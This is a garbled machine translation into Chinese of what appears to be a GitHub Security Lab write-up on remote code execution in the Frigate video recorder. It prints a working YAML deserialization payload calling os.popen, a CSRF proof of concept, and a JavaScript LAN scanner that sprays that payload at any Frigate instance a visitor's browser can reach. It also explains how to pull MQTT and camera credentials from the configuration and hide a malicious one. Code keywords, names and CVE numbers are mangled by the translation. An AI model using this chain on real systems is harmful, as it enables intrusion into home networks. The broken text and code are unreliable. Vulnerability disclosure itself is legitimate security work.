在GitHub安全实验室,我们正在根据我们的目标不断分析开源项目保持软件生态系统的安全.是否通过人工审查,多库变异分析,或内部自动化,我们专注于备受瞩目的项目我们都依赖和依赖。
遵循我们的保护我们的家庭实验室系列这次,我们(洛根·麦克拉伦,@鲭鱼和豪尔赫·罗西洛,@约热克夫)我们有责任审查一些自动化结果(利用GitHub代码扫描)当我们遇到一个会暂时吸引我们的警报时。在本文结束时,您将能够理解如何在护卫舰实例中获得远程代码执行,即使该实例没有直接暴露在互联网上。
目标
![护卫舰主页截图(护卫舰视频)](https://github.blog/wp-content/uploads/2023/12/frigate-screenshot.png?w=1024&resize=1024%2C566)
护卫舰是一种开源网络视频录像机,可以使用各种消费安全摄像头的视频流。除了简单地充当这些流的记录器之外,它还可以执行本地对象检测。
此外,护卫舰与家庭助理进行了深度集成我们几周前进行了审计考虑到这一点,并考虑到重要的部署基础(超过160万次下载属于护卫舰集装箱在撰写本文时),作为我们之前研究的延续,这看起来是一个需要深入研究的伟大项目。
我们发现的问题
代码扫描最初提醒我们一些潜在的漏洞,其中最突出的是用户控制数据的反序列化,所以我们决定从这个开始。
请注意,下面列出的代码示例是基于Frigate 0.12.1的,本报告中列出的所有漏洞都已在最新的beta版本(0.13.0 beta 3)中修复。
反序列化不安全山荷载
(CVE-223-45672)
![CodeQL的严重性警报的屏幕截图,“用户控制数据的反序列化”。警报顶部的标签指出它已被修复。](https://github.blog/wp-content/uploads/2023/12/deserialization-screenshot.png?w=1024&resize=1024%2C509)
护卫舰可以通过三种方式更新其配置—通过其运行的系统/容器的本地配置文件、通过其UI或通过/api/config/save
REST API终结点。当通过这些方法更新配置时,最终会调用加载具有无重复项的配置
这就是这个漏洞存在的地方。
使用/api/config/save
端点作为入口点,输入最初通过http.py(http.py)
:
@bp.route(“/config/save”,方法=[“POST”])定义配置保存():save_option=请求.args.get(“存储选项”)new_config=请求.get_data().decode()
用户提供的输入然后由解析和加载加载配置中没有重复项
:
@分类方法定义parse_raw(cls,raw_config):config=加载配置不含重复项(raw_config)返回cls.parse_obj(配置)
然而,加载配置中没有重复项
使用yaml.loader公司。装载机
哪个可以实例化自定义构造函数。将直接执行提供的有效负载:
保留重复Loader.add_constructor(yaml.解析器。BaseResolver。DEFAULT_MAPING_TAG,地图构造器)return yaml.load(raw_config,PreserveDuplicatesLoader)
在这个场景中,提供如下有效负载(调用os打开
运行触摸/tmp/pwned
)足以实现远程代码执行:
!!python/object/apply:os.popen-触摸/tmp/pwned
跨侧请求伪造配置_保存
和配置(_set)
请求处理程序(CVE-223-45670)
尽管我们可以在运行护卫舰的主机(可能是一个容器)上执行代码,但大多数安装仅在用户本地网络中公开,因此攻击者无法直接与实例交互。我们想找到一种方法,在不需要直接访问的情况下将有效负载发送到目标系统。对API的进一步审查使我们发现两件值得注意的事情:
- API不实现任何身份验证(UI也不实现),而是依赖于用户提供的安全性(例如,身份验证代理)。
- 没有设置CSRF保护,攻击者实际上不需要能够读取跨源响应,这意味着即使有身份验证代理“驾车路过”攻击将是可行的。
作为一个简单的概念验证(PoC),我们创建了一个网页,该网页将针对我们控制下的服务器运行Javascript功能,并放入我们自己的配置中(注意摄像机名称压水堆
):
const pwn=异步()=>;{常量数据=`mqtt:主机:mqtt摄像头:密码:ffmpeg格式:输入:-路径:/media/护卫舰/car-stoping.mp4input_args:-re-stream_loop-1-fflags+genpts角色:-检测-rtmp公司检测:高度:1080宽度:1920fps:5`;等待获取(“http://:5000/api/config/save?save_option=saveonly”{方法:“POST”,模式:“no-cors”,正文:数据});}密码();
将这些付诸行动驾驶员”
由于我们有一个API端点组合,可以在不进行身份验证的情况下更新服务器的配置,因此容易受到“驱动程序”的攻击,因为它缺乏CSRF保护,并且我们可以快速转向易受攻击的配置解析器0单击RCE具有对受害者的网络或护卫舰配置知之甚少或一无所知.
在本PoC中,我们在TCP 5000上以10.0.0.2的速度运行护卫舰0.12.1。
使用下面的Javascript,我们可以扫描任意网络空间(例如,10.0.0.1到10.0.0.4),以查找在TCP 5000上接受连接的服务。这将遍历我们在脚本中提供的范围内的任何IP,并扫描定义的端口范围。如果发现命中,它将运行密码
功能。
//使用Chrome 118.0.5993.88和Frigate 0.12.1进行功能测试和确认。const pwn=(主机,端口)=>;{常量数据=`!!python/object/apply:os.popen-触摸/tmp/pwned`;fetch(“http://”+主机+“:”+端口+“/api/config/save?save_option=saveonly”{方法:“POST”,模式:“no-cors”,正文:数据});};const线程=(主机、启动、停止、回调)=>;{const循环=端口=>;{if(端口{回调(端口);环路(端口+1);}).catch(错误=>{环路(端口+1);});}};setTimeout(()=>;循环(开始),0);};const scanRange=(开始、停止、线程计数)=>;{const port_range=停止-启动;const thread_range=端口范围/线程计数;for(设n=0;n<;5;n++){让主机=;10.0.0.";+n;for(设i=0;i{pwn(主机、端口);});}}}window.onload=()=>;{扫描范围(49985002,2);};
当然,这可以扩展到扫描更大的IP范围、多个不同的IP范围(例如192.168.0/24)、不同的端口范围等。简言之,攻击者不需要知道受害者的网络或护卫舰服务的位置,如果它在可预测的端口上运行,则可以很容易地向其发送恶意请求,而用户只需访问恶意网站。这可能会进一步扩展,以便在提交有效载荷之前对目标进行验证;然而,以这种方式“喷射”恶意负载的能力足以在没有用户交互的情况下进行零知识攻击。
贷记至wybiral/本地扫描作为Javascript端口扫描器的基础。
有点偷偷摸摸/配置
美国石油学会
这个/配置
API有三个主要功能:
由于Frigate在默认情况下没有身份验证机制,因此可以通过发送得到
请求:/api/config/raw
。虽然一开始这可能不太有趣,但它可以用于提取MQTT凭据、RTSP密码和本地文件路径,我们可以利用这些路径进行exfiltering。
这个仅保存
如果我们希望利用反序列化漏洞,选项是有用的;然而,重新启动
实际上可以拥有服务器运行配置由我们控制。
将这三种功能与上述CSRF漏洞相结合,不仅可以实现RCE(最有趣的路径),还可以让护卫舰以服务所有者基本看不到的方式运行恶意配置。
简而言之,我们可以:
- 从中提取现有配置
/配置/原始
.
- 插入我们自己的配置(例如,禁用录制、更改MQTT服务器位置、更改提要以查看我们控制下的摄像头等……-电影风格的黑客工具)并使用提示服务器运行
/配置/保存
的重新启动
参数。
- 用原始配置覆盖恶意配置但没有利用它通过再次更新
/配置/保存
使用仅保存
参数。
结论
护卫舰是一个很棒的项目,它做得很好,有很多定制选项。尽管如此,使用现成的安全配置仍有很大的改进空间,因此强烈建议在部署此软件时使用额外的安全保护。
在编写本文时,此处列出的漏洞都已修复(>=0.13.0 Beta 3),并发布了以下GitHub安全咨询和CVE:
我们还发布了咨询的在GitHub安全实验室页面上。
我们鼓励护卫舰的用户尽快更新到最新版本,同时也鼓励各位读者继续关注保护我们的家庭实验室系列!